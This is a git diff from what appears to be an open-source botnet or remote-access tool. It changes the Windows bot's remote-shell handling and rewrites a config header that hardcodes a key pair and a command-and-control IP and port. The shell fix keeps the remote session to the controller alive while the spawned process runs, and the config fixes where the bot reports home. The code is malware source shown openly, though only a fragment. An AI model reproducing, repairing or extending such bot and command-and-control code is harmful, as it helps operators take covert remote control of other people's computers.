diff --git a/bot/win/winshell.c b/bot/win/winshell.c
index c6d3a79..223886e 100644
--- a/bot/win/winshell.c
+++ b/bot/win/winshell.c
@@ -161,8 +161,9 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
         laikaS_write(sock, readBuf, rd);
         laikaS_endVarPacket(peer);
     } else {
-        if (GetLastError() == ERROR_NO_DATA)
-            return true; /* recoverable, there was no data to read */
+        if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
+            return true; /* recoverable, process is still alive */
+        /* unrecoverable error */
 
         /* tell cnc shell is closed */
         laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
diff --git a/img/demo.gif b/img/demo.gif
index b3c5349..82b5b47 100644
Binary files a/img/demo.gif and b/img/demo.gif differ
diff --git a/lib/include/lconfig.h b/lib/include/lconfig.h
index b7572b5..2702720 100644
--- a/lib/include/lconfig.h
+++ b/lib/include/lconfig.h
@@ -1,14 +1,14 @@
-#ifndef LAIKA_CONFIG_H
-#define LAIKA_CONFIG_H
-
-/* version info */
-#define LAIKA_VERSION_MAJOR 0
-#define LAIKA_VERSION_MINOR 1
-
-/* keys */
-#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
-#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
-#define LAIKA_CNC_IP "127.0.0.1"
-#define LAIKA_CNC_PORT "13337"
-
-#endif
+#ifndef LAIKA_CONFIG_H
+#define LAIKA_CONFIG_H
+
+/* version info */
+#define LAIKA_VERSION_MAJOR 0
+#define LAIKA_VERSION_MINOR 1
+
+/* keys */
+#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
+#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
+#define LAIKA_CNC_IP "127.0.0.1"
+#define LAIKA_CNC_PORT "13337"
+
+#endif